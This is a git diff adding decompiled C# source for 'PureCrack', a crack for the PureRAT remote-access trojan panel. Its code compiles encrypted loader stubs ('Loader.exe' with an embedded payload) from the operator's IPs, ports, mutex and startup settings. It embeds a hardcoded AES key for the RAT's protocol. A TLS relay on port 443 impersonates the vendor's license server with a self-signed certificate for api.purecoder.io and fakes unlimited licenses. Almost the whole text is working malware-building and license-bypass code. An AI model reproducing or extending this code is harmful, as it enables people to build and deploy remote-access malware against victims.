CSharpSyntaxTree.ParseText(kv.Value, (CSharpParseOptions)null, kv.Key, (Encoding)null, default(CancellationToken))).ToList(); + List list2 = GetBclReferences().ToList(); + list2.Add((MetadataReference)(object)MetadataReference.CreateFromImage((IEnumerable)EmbeddedAssets.ProtobufNetDll, default(MetadataReferenceProperties), (DocumentationProvider)null, (string)null)); + CSharpCompilationOptions val = new CSharpCompilationOptions((OutputKind)2, false, (string)null, (string)null, (string)null, (IEnumerable)null, (OptimizationLevel)1, false, true, (string)null, (string)null, default(ImmutableArray), (bool?)null, (Platform)1, (ReportDiagnostic)0, 0, (IEnumerable>)null, true, true, (XmlReferenceResolver)null, (SourceReferenceResolver)null, (MetadataReferenceResolver)null, (AssemblyIdentityComparer)null, (StrongNameProvider)null, false, (MetadataImportOptions)0, (NullableContextOptions)0); + return EmitOrThrow(CSharpCompilation.Create("inner", (IEnumerable)list, (IEnumerable)list2, val), "inner.dll", null); + } + + private static byte[] CompileOuterExe(string loaderSource, byte[] encryptedInner, byte[] protobufNetDll) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Expected O, but got Unknown + SyntaxTree val = CSharpSyntaxTree.ParseText(loaderSource, (CSharpParseOptions)null, "Loader.cs", (Encoding)null, default(CancellationToken)); + List list = GetBclReferences().ToList(); + CSharpCompilationOptions val2 = new CSharpCompilationOptions((OutputKind)1, false, (string)null, "PCLoader", (string)null, (IEnumerable)null, (OptimizationLevel)1, false, false, (string)null, (string)null, default(ImmutableArray), (bool?)null, (Platform)1, (ReportDiagnostic)0, 0, (IEnumerable>)null, true, true, (XmlReferenceResolver)null, (SourceReferenceResolver)null, (MetadataReferenceResolver)null, (AssemblyIdentityComparer)null, (StrongNameProvider)null, false, (MetadataImportOptions)0, (NullableContextOptions)0); + CSharpCompilation comp = CSharpCompilation.Create("Loader", (IEnumerable)(object)new SyntaxTree[1] { val }, (IEnumerable)list, val2); + ResourceDescription[] resources = (ResourceDescription[])(object)new ResourceDescription[2] + { + new ResourceDescription("PayloadSource.zip", (Func)(() => new MemoryStream(encryptedInner)), false), + new ResourceDescription("protobuf-net.dll", (Func)(() => new MemoryStream(protobufNetDll)), false) + }; + return EmitOrThrow(comp, "Loader.exe", resources); + } + + private static byte[] EmitOrThrow(CSharpCompilation comp, string label, IEnumerable? resources) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + using MemoryStream memoryStream = new MemoryStream(); + EmitResult val = ((Compilation)comp).Emit((Stream)memoryStream, (Stream)null, (Stream)null, (Stream)null, resources, (EmitOptions)null, (IMethodSymbol)null, (Stream)null, (IEnumerable)null, (Stream)null, default(CancellationToken)); + if (!val.Success) + { + List values = (from d in ImmutableArrayExtensions.Where(val.Diagnostics, (Func)((Diagnostic d) => (int)d.Severity == 3)).Take(20) + select ((object)d).ToString()).ToList(); + throw new InvalidOperationException("Roslyn failed compiling " + label + ":\n " + string.Join("\n ", values)); + } + memoryStream.Position = 0L; + return memoryStream.ToArray(); + } + + private static IEnumerable GetBclReferences() + { + string bclPath = Path.GetDirectoryName(typeof(object).Assembly.Location) ?? throw new InvalidOperationException("can't resolve mscorlib directory"); + string[] array = new string[9] { "mscorlib.dll", "System.dll", "System.Core.dll", "System.Xml.dll", "System.Data.dll", "System.Management.dll", "System.Windows.Forms.dll", "System.Drawing.dll", "System.Runtime.Serialization.dll" }; + string[] array2 = array; + foreach (string path in array2) + { + string text = Path.Combine(bclPath, path); + if (File.Exists(text)) + { + yield return (MetadataReference)(object)MetadataReference.CreateFromFile(text, default(MetadataReferenceProperties), (DocumentationProvider)null); + } + } + } +} diff --git a/decompiled/PureCrack.Crypto/Symmetric.cs b/decompiled/PureCrack.Crypto/Symmetric.cs new file mode 100644 index 0000000..1aa8529 --- /dev/null +++ b/decompiled/PureCrack.Crypto/Symmetric.cs @@ -0,0 +1,167 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Security.Cryptography; + +namespace PureCrack.Crypto; + +public static class Symmetric +{ + public static readonly byte[] AesKey = HexToBytes("e6c43cc05d35fee7c8533d96203eeda357c65e85e30dbe622fad26fdfbb222a8"); + + public static byte[] AesEncrypt(byte[] plaintext, byte[] iv) + { + if (iv.Length != 16) + { + throw new ArgumentException("iv must be 16 bytes", "iv"); + } + using Aes aes = Aes.Create() ?? throw new InvalidOperationException("Aes.Create returned null"); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + aes.KeySize = 256; + aes.Key = AesKey; + aes.IV = iv; + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + return cryptoTransform.TransformFinalBlock(plaintext, 0, plaintext.Length); + } + + public static byte[] AesDecrypt(byte[] ciphertext, byte[] iv) + { + if (iv.Length != 16) + { + throw new ArgumentException("iv must be 16 bytes", "iv"); + } + using Aes aes = Aes.Create() ?? throw new InvalidOperationException("Aes.Create returned null"); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + aes.KeySize = 256; + aes.Key = AesKey; + aes.IV = iv; + using ICryptoTransform cryptoTransform = aes.CreateDecryptor(); + return cryptoTransform.TransformFinalBlock(ciphertext, 0, ciphertext.Length); + } + + public static byte[] AesEncryptFraming(byte[] plaintext) + { + byte[] array = RandomBytes(16); + byte[] array2 = AesEncrypt(plaintext, array); + byte[] array3 = new byte[16 + array2.Length]; + Buffer.BlockCopy(array, 0, array3, 0, 16); + Buffer.BlockCopy(array2, 0, array3, 16, array2.Length); + return array3; + } + + public static byte[] AesDecryptFraming(byte[] framedBody) + { + if (framedBody.Length < 32) + { + throw new ArgumentException("framed body must be at least 32 bytes (IV + 1 block)"); + } + byte[] array = new byte[16]; + Buffer.BlockCopy(framedBody, 0, array, 0, 16); + byte[] array2 = new byte[framedBody.Length - 16]; + Buffer.BlockCopy(framedBody, 16, array2, 0, array2.Length); + return AesDecrypt(array2, array); + } + + public static byte[] TripleDesEncrypt(byte[] plaintext, byte[] key, byte[] iv) + { + if (key.Length != 24) + { + throw new ArgumentException("3DES key must be 24 bytes", "key"); + } + if (iv.Length != 8) + { + throw new ArgumentException("3DES iv must be 8 bytes", "iv"); + } + using TripleDES tripleDES = TripleDES.Create() ?? throw new InvalidOperationException("TripleDES.Create returned null"); + tripleDES.Mode = CipherMode.CBC; + tripleDES.Padding = PaddingMode.PKCS7; + tripleDES.Key = key; + tripleDES.IV = iv; + using ICryptoTransform cryptoTransform = tripleDES.CreateEncryptor(); + return cryptoTransform.TransformFinalBlock(plaintext, 0, plaintext.Length); + } + + public static byte[] RandomBytes(int n) + { + byte[] array = new byte[n]; + using RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); + randomNumberGenerator.GetBytes(array); + return array; + } + + public static byte[] Gzip(byte[] data) + { + using MemoryStream memoryStream = new MemoryStream(); + using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionLevel.Optimal, leaveOpen: true)) + { + gZipStream.Write(data, 0, data.Length); + } + return memoryStream.ToArray(); + } + + public static byte[] HexToBytes(string hex) + { + if ((hex.Length & 1) != 0) + { + throw new ArgumentException("hex string must have even length", "hex"); + } + byte[] array = new byte[hex.Length / 2]; + for (int i = 0; i < array.Length; i++) + { + int num = HexNibble(hex[i * 2]); + int num2 = HexNibble(hex[i * 2 + 1]); + array[i] = (byte)((num << 4) | num2); + } + return array; + } + + private static int HexNibble(char c) + { + switch (c) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + return c - 48; + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + return c - 97 + 10; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + return c - 65 + 10; + default: + throw new FormatException($"non-hex char: {c}"); + } + } + + public static bool ConstantTimeEquals(byte[] a, byte[] b) + { + if (a.Length != b.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < a.Length; i++) + { + num |= a[i] ^ b[i]; + } + return num == 0; + } +} diff --git a/decompiled/PureCrack.Panel/PanelLauncher.cs b/decompiled/PureCrack.Panel/PanelLauncher.cs new file mode 100644 index 0000000..36c8f3b --- /dev/null +++ b/decompiled/PureCrack.Panel/PanelLauncher.cs @@ -0,0 +1,83 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Threading; +using PureCrack.Util; + +namespace PureCrack.Panel; + +public static class PanelLauncher +{ + public static string BundledPanelPath => Path.Combine(Workspace.Root, "panel", "PureRAT.exe"); + + public static string DevPanelPath => Path.GetFullPath(Path.Combine(new string[5] + { + Workspace.Root, + "..", + "..", + "panel", + "PureRAT.exe" + })); + + public static string FindExe() + { + string environmentVariable = Environment.GetEnvironmentVariable("PURE_PANEL_EXE"); + if (!string.IsNullOrEmpty(environmentVariable)) + { + if (File.Exists(environmentVariable)) + { + return environmentVariable; + } + Log.Warn("PURE_PANEL_EXE points at " + environmentVariable + " but file doesn't exist — falling back to bundled"); + } + if (File.Exists(BundledPanelPath)) + { + return BundledPanelPath; + } + if (File.Exists(DevPanelPath)) + { + return DevPanelPath; + } + throw new FileNotFoundException("PureRAT.exe not found. Looked at:\n - " + BundledPanelPath + " (deployed layout)\n - " + DevPanelPath + " (running from bin\\Release\\ in source tree)\nEither copy PureRAT.exe to one of those, or set PURE_PANEL_EXE env var.\nSee " + Path.Combine(Path.GetDirectoryName(BundledPanelPath), "README.md") + " for bundling instructions."); + } + + public static Process Launch(string panelExe) + { + Log.Info("launching panel: " + panelExe); + Process process = Process.Start(new ProcessStartInfo + { + FileName = panelExe, + UseShellExecute = true, + WorkingDirectory = (Path.GetDirectoryName(panelExe) ?? Workspace.Root) + }) ?? throw new InvalidOperationException("Process.Start returned null"); + Log.Ok($"panel started (PID {process.Id})"); + return process; + } + + public static bool WaitForListener(int port, TimeSpan timeout, CancellationToken ct = default(CancellationToken)) + { + DateTime dateTime = DateTime.UtcNow + timeout; + Log.Info($"waiting for panel to bind :{port} (timeout {timeout.TotalSeconds:0}s)"); + int num = 0; + while (DateTime.UtcNow < dateTime && !ct.IsCancellationRequested) + { + num++; + try + { + using TcpClient tcpClient = new TcpClient(); + if (tcpClient.ConnectAsync(IPAddress.Loopback, port).Wait(500, ct) && tcpClient.Connected) + { + Log.Ok($":{port} is up (after {num} probes)"); + return true; + } + } + catch (Exception) + { + } + Thread.Sleep(500); + } + return false; + } +} diff --git a/decompiled/PureCrack.Panel/SettingsAutoFix.cs b/decompiled/PureCrack.Panel/SettingsAutoFix.cs new file mode 100644 index 0000000..625e073 --- /dev/null +++ b/decompiled/PureCrack.Panel/SettingsAutoFix.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.Json; +using System.Text.Json.Nodes; +using PureCrack.Util; + +namespace PureCrack.Panel; + +public static class SettingsAutoFix +{ + private const string Loopback = "127.0.0.1"; + + private const string BackupSuffix = ".purecrack-backup"; + + public static string? FindSettingsJson(string panelExe) + { + string environmentVariable = Environment.GetEnvironmentVariable("PURE_SETTINGS_JSON"); + if (!string.IsNullOrEmpty(environmentVariable) && File.Exists(environmentVariable)) + { + return environmentVariable; + } + string directoryName = Path.GetDirectoryName(panelExe); + if (directoryName == null) + { + return null; + } + string text = Path.Combine(directoryName, "Settings.json"); + if (!File.Exists(text)) + { + return null; + } + return text; + } + + public static bool ReorderIpsToLoopbackFirst(string settingsPath) + { + //IL_01f5: Unknown result type (might be due to invalid IL or missing references) + //IL_01fc: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_023c: Unknown result type (might be due to invalid IL or missing references) + //IL_0241: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Expected O, but got Unknown + if (!File.Exists(settingsPath)) + { + Log.Warn("settings: " + settingsPath + " not found"); + return false; + } + string text; + try + { + text = File.ReadAllText(settingsPath); + } + catch (Exception ex) + { + Log.Warn("settings: read failed: " + ex.Message); + return false; + } + JsonNode val; + try + { + val = JsonNode.Parse(text, (JsonNodeOptions?)null, default(JsonDocumentOptions)); + } + catch (Exception ex2) + { + Log.Warn("settings: not valid JSON: " + ex2.Message); + return false; + } + JsonObject val2 = (JsonObject)(object)((val is JsonObject) ? val : null); + if (val2 == null) + { + Log.Warn("settings: top-level isn't a JSON object — skipping reorder"); + return false; + } + string text2 = null; + JsonArray val3 = null; + foreach (KeyValuePair item in val2) + { + if (string.Equals(item.Key, "IPs", StringComparison.OrdinalIgnoreCase)) + { + JsonNode value = item.Value; + JsonArray val4 = (JsonArray)(object)((value is JsonArray) ? value : null); + if (val4 != null) + { + text2 = item.Key; + val3 = val4; + break; + } + } + } + if (text2 == null || val3 == null) + { + Log.Warn("settings: no IPs array — skipping reorder"); + return false; + } + if (val3.Count > 0) + { + JsonNode obj = ((JsonNode)val3)[0]; + if (string.Equals((obj != null) ? obj.GetValue() : null, "127.0.0.1")) + { + Log.Info("settings: 127.0.0.1 already first in " + text2); + return false; + } + } + List list = new List { "127.0.0.1" }; + foreach (JsonNode item2 in val3) + { + if (item2 != null) + { + string value2 = item2.GetValue(); + if (!string.Equals(value2, "127.0.0.1", StringComparison.Ordinal)) + { + list.Add(value2); + } + } + } + string text3 = settingsPath + ".purecrack-backup"; + if (!File.Exists(text3)) + { + try + { + File.Copy(settingsPath, text3); + } + catch (Exception ex3) + { + Log.Warn("settings: backup failed: " + ex3.Message); + } + } + JsonArray val5 = new JsonArray((JsonNodeOptions?)null); + foreach (string item3 in list) + { + val5.Add(item3); + } + ((JsonNode)val2)[text2] = (JsonNode)(object)val5; + string contents = ((JsonNode)val2).ToJsonString(new JsonSerializerOptions + { + WriteIndented = true + }); + try + { + File.WriteAllText(settingsPath, contents); + } + catch (Exception ex4) + { + Log.Err("settings: write failed: " + ex4.Message); + return false; + } + Log.Ok("settings: reordered " + text2 + " → [" + string.Join(",", list) + "]"); + return true; + } +} diff --git a/decompiled/PureCrack.Relay/CaptureWriter.cs b/decompiled/PureCrack.Relay/CaptureWriter.cs new file mode 100644 index 0000000..b9330db --- /dev/null +++ b/decompiled/PureCrack.Relay/CaptureWriter.cs @@ -0,0 +1,80 @@ +using System; +using System.IO; +using System.Text; +using PureCrack.Util; +using PureCrack.Wire; + +namespace PureCrack.Relay; + +public static class CaptureWriter +{ + public static string Dump(string path, byte[] rawBody, byte[]? plaintext) + { + string text = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + string text2 = SanitizePathForFilename(path); + string text3 = Path.Combine(Workspace.CapturesDir, text + "_" + text2); + File.WriteAllBytes(text3 + ".raw.bin", rawBody); + if (plaintext != null) + { + File.WriteAllBytes(text3 + ".pt.bin", plaintext); + File.WriteAllText(text3 + ".pt.txt", BuildPrettyDump(path, plaintext), Encoding.UTF8); + } + return text3; + } + + private static string BuildPrettyDump(string path, byte[] pt) + { + StringBuilder stringBuilder = new StringBuilder(pt.Length * 4); + stringBuilder.Append("URL: ").Append(path).Append('\n'); + stringBuilder.Append("Decrypted ").Append(pt.Length).Append(" bytes\n\nHEX:\n"); + for (int i = 0; i < pt.Length; i += 32) + { + int num = Math.Min(32, pt.Length - i); + stringBuilder.Append(i.ToString("x4")).Append(" "); + for (int j = 0; j < num; j++) + { + stringBuilder.Append(pt[i + j].ToString("x2")).Append(' '); + } + for (int k = num; k < 32; k++) + { + stringBuilder.Append(" "); + } + stringBuilder.Append(" |"); + for (int l = 0; l < num; l++) + { + byte b = pt[i + l]; + stringBuilder.Append((char)((b >= 32 && b < 127) ? b : 46)); + } + stringBuilder.Append("|\n"); + } + stringBuilder.Append("\nPROTOBUF TREE:\n"); + try + { + stringBuilder.Append(ProtoNet.Dump(pt)); + } + catch (Exception ex) + { + stringBuilder.Append("\n"); + } + return stringBuilder.ToString(); + } + + private static string SanitizePathForFilename(string path) + { + string text = path.Replace('/', '_').Trim(new char[1] { '_' }); + char[] invalidFileNameChars = Path.GetInvalidFileNameChars(); + foreach (char oldChar in invalidFileNameChars) + { + text = text.Replace(oldChar, '_'); + } + if (text.Length == 0) + { + text = "root"; + } + if (text.Length > 80) + { + text = text.Substring(0, 80); + } + return text; + } +} diff --git a/decompiled/PureCrack.Relay/RouteHandlers.cs b/decompiled/PureCrack.Relay/RouteHandlers.cs new file mode 100644 index 0000000..06a0351 --- /dev/null +++ b/decompiled/PureCrack.Relay/RouteHandlers.cs @@ -0,0 +1,173 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using PureCrack.Build; +using PureCrack.Util; +using PureCrack.Wire; + +namespace PureCrack.Relay; + +public sealed class RouteHandlers +{ + private sealed class BuildSettings + { + public List Ips { get; init; } = new List(); + + public List Ports { get; init; } = new List(); + + public string? CertBase64 { get; init; } + + public string? Group { get; init; } + + public string? PanelPfxBase64 { get; init; } + + public string? StartupName { get; init; } + + public string? StartupEnv { get; init; } + + public string? Mutex { get; init; } + } + + private readonly byte[] _cannedCompile; + + public byte[] ValidatePb { get; } + + public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse) + { + ValidatePb = BuildValidateResponse(agentPfxBytes); + _cannedCompile = cannedCompileResponse; + } + + private static byte[] BuildValidateResponse(byte[] agentPfxBytes) + { + string s = Convert.ToBase64String(agentPfxBytes); + byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s)); + byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days")); + return ProtoNet.FSub(2, body2); + } + + public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled) + { + if (plaintext != null && dynamicBuildEnabled) + { + try + { + byte[] array = BuildDynamic(plaintext); + if (array != null) + { + return array; + } + } + catch (Exception ex) + { + Log.Err("dyn-build failed: " + ex.Message); + } + Log.Warn("falling back to canned /compile response"); + } + return _cannedCompile; + } + + private static byte[]? BuildDynamic(byte[] plaintext) + { + BuildSettings buildSettings = ExtractBuildSettings(plaintext); + if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0) + { + Log.Warn("dyn-build: panel did not include IPs/Ports — using canned"); + return null; + } + string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64); + BuildConfig buildConfig = new BuildConfig + { + Ips = buildSettings.Ips, + Ports = buildSettings.Ports, + CertPfxBase64 = (text ?? ""), + Group = (buildSettings.Group ?? "Default"), + Mutex = (buildSettings.Mutex ?? "purecrack-default"), + StartupName = (buildSettings.StartupName ?? ""), + StartupEnv = (buildSettings.StartupEnv ?? "") + }; + Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex); + byte[] array = StubBuilder.Build(buildConfig); + string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe"); + File.WriteAllBytes(text2, array); + Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}"); + byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L)); + return ProtoNet.FSub(4, body); + } + + private static BuildSettings ExtractBuildSettings(byte[] plaintext) + { + BuildSettings result = new BuildSettings(); + try + { + byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3); + if (array == null) + { + return result; + } + byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5); + if (array2 == null) + { + return result; + } + byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9); + if (array3 == null) + { + return result; + } + Dictionary> parsed = ProtoNet.Parse(array3); + return new BuildSettings + { + Ips = ProtoNet.GetStrings(parsed, 1), + Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)), + CertBase64 = ProtoNet.FirstString(parsed, 3), + Group = ProtoNet.FirstString(parsed, 4, "Default"), + PanelPfxBase64 = ProtoNet.FirstString(parsed, 10), + StartupName = ProtoNet.FirstString(parsed, 11), + StartupEnv = ProtoNet.FirstString(parsed, 12), + Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default") + }; + } + catch (Exception ex) + { + Log.Warn("extract: parse err: " + ex.Message); + return result; + } + } + + private static List ConvertToInts(List longs) + { + List list = new List(longs.Count); + foreach (long @long in longs) + { + list.Add((int)@long); + } + return list; + } + + public static byte[] AckResponse() + { + return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L)); + } + + private static byte[] Concat(params byte[][] chunks) + { + int num = 0; + byte[][] array = chunks; + foreach (byte[] array2 in array) + { + num += array2.Length; + } + byte[] array3 = new byte[num]; + int num2 = 0; + array = chunks; + foreach (byte[] array4 in array) + { + Buffer.BlockCopy(array4, 0, array3, num2, array4.Length); + num2 += array4.Length; + } + return array3; + } +} diff --git a/decompiled/PureCrack.Relay/TlsRelay.cs b/decompiled/PureCrack.Relay/TlsRelay.cs new file mode 100644 index 0000000..7415ca2 --- /dev/null +++ b/decompiled/PureCrack.Relay/TlsRelay.cs @@ -0,0 +1,289 @@ +using System; +using System.IO; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; +using PureCrack.Crypto; +using PureCrack.Util; + +namespace PureCrack.Relay; + +public sealed class TlsRelay : IDisposable +{ + private readonly X509Certificate2 _serverCert; + + private readonly RouteHandlers _routes; + + private readonly TcpListener _listener; + + private readonly CancellationTokenSource _cts; + + private Thread? _acceptThread; + + private int _requestCount; + + public const int DefaultPort = 443; + + private const int MaxBodyBytes = 16777216; + + public bool DynamicBuildEnabled { get; set; } = true; + + public TlsRelay(X509Certificate2 serverCert, RouteHandlers routes, IPAddress? bindAddress = null, int port = 443) + { + _serverCert = serverCert ?? throw new ArgumentNullException("serverCert"); + _routes = routes ?? throw new ArgumentNullException("routes"); + _listener = new TcpListener(bindAddress ?? IPAddress.Any, port); + _cts = new CancellationTokenSource(); + } + + public void Start() + { + if (_acceptThread == null) + { + _listener.Start(); + Log.Ok($"relay LISTEN on {_listener.LocalEndpoint}"); + _acceptThread = new Thread(AcceptLoop) + { + IsBackground = true, + Name = "TlsRelay-accept" + }; + _acceptThread.Start(); + } + } + + public void Stop() + { + if (!_cts.IsCancellationRequested) + { + _cts.Cancel(); + try + { + _listener.Stop(); + } + catch + { + } + _acceptThread?.Join(TimeSpan.FromSeconds(2.0)); + Log.Info("relay stopped"); + } + } + + public void Dispose() + { + Stop(); + _cts.Dispose(); + _serverCert.Dispose(); + } + + private void AcceptLoop() + { + while (!_cts.IsCancellationRequested) + { + TcpClient state; + try + { + state = _listener.AcceptTcpClient(); + } + catch (SocketException) when (_cts.IsCancellationRequested) + { + break; + } + catch (ObjectDisposedException) + { + break; + } + catch (Exception ex3) + { + Log.Err("accept: " + ex3.Message); + continue; + } + ThreadPool.QueueUserWorkItem(delegate(object obj) + { + HandleConnection((TcpClient)obj); + }, state); + } + } + + private void HandleConnection(TcpClient client) + { + int num = Interlocked.Increment(ref _requestCount); + string arg = client.Client.RemoteEndPoint?.ToString() ?? "?"; + Log.Section($"#{num} from {arg}"); + try + { + client.ReceiveTimeout = 15000; + client.SendTimeout = 15000; + using SslStream sslStream = new SslStream(client.GetStream(), leaveInnerStreamOpen: false); + try + { + sslStream.AuthenticateAsServer(_serverCert, clientCertificateRequired: false, SslProtocols.Tls12, checkCertificateRevocation: false); + } + catch (Exception ex) + { + Log.Warn("TLS handshake failed: " + ex.Message); + return; + } + var (text, array) = ReadHttpRequest(sslStream); + Log.Bullet("path: " + text); + Log.Bullet($"body: {array.Length}b"); + byte[] array2 = TryDecrypt(array); + if (array2 != null) + { + Log.Bullet($"decrypt OK: {array2.Length}b"); + } + string path = CaptureWriter.Dump(text, array, array2); + Log.Bullet("dumped: " + Path.GetFileName(path)); + var (array3, text2) = Route(text, array2); + Log.Bullet($"resp: {text2} ({array3.Length}b)"); + SendResponse(sslStream, array3); + Log.Ok("sent " + text2); + } + catch (Exception ex2) + { + Log.Err("handler: " + ex2.Message); + } + finally + { + try + { + client.Close(); + } + catch + { + } + } + } + + private static (string path, byte[] body) ReadHttpRequest(Stream s) + { + using MemoryStream memoryStream = new MemoryStream(); + byte[] array = new byte[4096]; + int num; + for (num = -1; num < 0; num = FindHeaderEnd(memoryStream.GetBuffer(), (int)memoryStream.Length)) + { + int num2 = s.Read(array, 0, array.Length); + if (num2 <= 0) + { + break; + } + memoryStream.Write(array, 0, num2); + if (memoryStream.Length > 65536) + { + throw new InvalidOperationException("HTTP headers exceed 64 KB"); + } + } + if (num < 0) + { + throw new InvalidOperationException("HTTP request truncated before \\r\\n\\r\\n"); + } + byte[] array2 = new byte[num]; + Buffer.BlockCopy(memoryStream.GetBuffer(), 0, array2, 0, num); + string text = Encoding.UTF8.GetString(array2); + int result = 0; + string item = "/"; + string[] array3 = text.Split(new string[1] { "\r\n" }, StringSplitOptions.None); + foreach (string text2 in array3) + { + if (text2.StartsWith("POST ", StringComparison.Ordinal) || text2.StartsWith("GET ", StringComparison.Ordinal)) + { + string[] array4 = text2.Split(new char[1] { ' ' }); + if (array4.Length >= 2) + { + item = array4[1]; + } + } + else if (text2.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase)) + { + int.TryParse(text2.Substring("Content-Length:".Length).Trim(), out result); + } + } + if (result < 0 || result > 16777216) + { + throw new InvalidOperationException($"refusing body of size {result}"); + } + int num3 = num + 4; + int num4 = (int)memoryStream.Length - num3; + byte[] array5 = new byte[result]; + if (num4 > 0) + { + int num5 = Math.Min(num4, result); + Buffer.BlockCopy(memoryStream.GetBuffer(), num3, array5, 0, num5); + num4 = num5; + } + int j; + int num6; + for (j = Math.Max(0, num4); j < result; j += num6) + { + num6 = s.Read(array5, j, result - j); + if (num6 <= 0) + { + break; + } + } + if (j < result) + { + Log.Warn($"body truncated: got {j} of {result}"); + } + return (path: item, body: array5); + } + + private static int FindHeaderEnd(byte[] buf, int len) + { + for (int i = 0; i <= len - 4; i++) + { + if (buf[i] == 13 && buf[i + 1] == 10 && buf[i + 2] == 13 && buf[i + 3] == 10) + { + return i; + } + } + return -1; + } + + private static byte[]? TryDecrypt(byte[] body) + { + if (body.Length < 32) + { + return null; + } + try + { + return Symmetric.AesDecryptFraming(body); + } + catch (Exception ex) + { + Log.Warn("decrypt err: " + ex.Message); + return null; + } + } + + private (byte[] body, string label) Route(string path, byte[]? plaintext) + { + if (path.IndexOf("/validate", StringComparison.OrdinalIgnoreCase) >= 0) + { + return (body: _routes.ValidatePb, label: "validate"); + } + if (path.IndexOf("/compile", StringComparison.OrdinalIgnoreCase) >= 0) + { + return (body: _routes.Compile(plaintext, DynamicBuildEnabled), label: (plaintext != null && DynamicBuildEnabled) ? "compile-dynamic" : "compile-canned"); + } + if (path.IndexOf("/heartbeat", StringComparison.OrdinalIgnoreCase) >= 0 || path.IndexOf("/update-plugins", StringComparison.OrdinalIgnoreCase) >= 0) + { + return (body: RouteHandlers.AckResponse(), label: "ack"); + } + return (body: _routes.ValidatePb, label: "fallback-validate"); + } + + private static void SendResponse(Stream s, byte[] responsePb) + { + byte[] array = Symmetric.AesEncryptFraming(responsePb); + string s2 = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n" + $"Content-Length: {array.Length}\r\n" + "Connection: close\r\n\r\n"; + byte[] bytes = Encoding.ASCII.GetBytes(s2); + s.Write(bytes, 0, bytes.Length); + s.Write(array, 0, array.Length); + s.Flush(); + } +} diff --git a/decompiled/PureCrack.Setup/CertManager.cs b/decompiled/PureCrack.Setup/CertManager.cs new file mode 100644 index 0000000..a393b19 --- /dev/null +++ b/decompiled/PureCrack.Setup/CertManager.cs @@ -0,0 +1,138 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using PureCrack.Util; + +namespace PureCrack.Setup; + +public static class CertManager +{ + private static readonly TimeSpan ValidityWindow = TimeSpan.FromDays(3650.0); + + private static readonly TimeSpan RegenIfWithin = TimeSpan.FromDays(30.0); + + public static string RelayPfxPath => Path.Combine(Workspace.DataDir, "relay.pfx"); + + public static string AgentPfxPath => Path.Combine(Workspace.DataDir, "agent.pfx"); + + public static X509Certificate2 EnsureRelayCert() + { + X509Certificate2 x509Certificate = LoadIfFresh(RelayPfxPath, "relay cert"); + if (x509Certificate != null) + { + return x509Certificate; + } + Log.Info("relay cert: generating self-signed SAN cert"); + using RSA key = RSA.Create(2048); + CertificateRequest certificateRequest = new CertificateRequest("CN=api.purecoder.io, O=PureCrack, OU=Relay", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + SubjectAlternativeNameBuilder subjectAlternativeNameBuilder = new SubjectAlternativeNameBuilder(); + subjectAlternativeNameBuilder.AddDnsName("api.purecoder.io"); + subjectAlternativeNameBuilder.AddDnsName("api1.purecoder.io"); + subjectAlternativeNameBuilder.AddDnsName("api2.purecoder.io"); + 